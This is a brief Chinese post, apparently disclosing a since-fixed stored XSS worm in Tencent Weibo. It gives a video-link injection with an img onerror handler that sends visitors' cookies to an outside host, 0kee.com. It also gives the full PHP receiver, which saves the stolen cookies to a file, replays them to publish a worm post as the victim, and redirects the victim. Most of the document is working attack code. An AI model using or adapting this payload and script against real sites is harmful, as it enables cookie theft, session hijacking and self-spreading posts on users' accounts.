update（8.29）: 已修复

发视频处插如下代码：

http://www.tudou.com/programs/view/TLpmMpTY0eY/"><img src=# onerror='javascript:window.location.href="http://0kee.com/qq/0kee.php?cookie="+document.cookie'>

0kee.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：

<?php
ob_start();
$url = 't.qq.com';
$cookie=$_GET['cookie'];
$randnum=rand();
$cookie1=$cookie."\r\n\r\n";
fputs(fopen('a.txt','a+'),$cookie1);

$sock = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");
$data = "content=http://url.cn/1FDpEd hacked!! xss worm test~~".$randnum."&pic=&countType=&viewModel=1";

fwrite($sock, "POST http://$url/publish.php HTTP/1.1\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "Referer: http://0kee.com\r\n");
fwrite($sock, "Accept-Language: zh-cn\r\n");
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
fwrite($sock, "User-Agent: Mozilla\r\n");
fwrite($sock, "Host: $url\r\n");
fwrite($sock, "Content-Length: ".strlen($data)."\r\n");
fwrite($sock, "Connection: Keep-Alive\r\n");
fwrite($sock, "Cache-Control: no-cache\r\n");
fwrite($sock, "Cookie:".$cookie."\r\n\r\n");
fwrite($sock, $data);

$headers = "";
while ($str = trim(fgets($sock, 4096)))
     $headers .= "$str\n";
echo "\n";
$body = "";
while (!feof($sock))
     $body .= fgets($sock, 4096);

fclose($sock);

Header("Location: http://t.qq.com/txsser");
ob_end_flush();

?>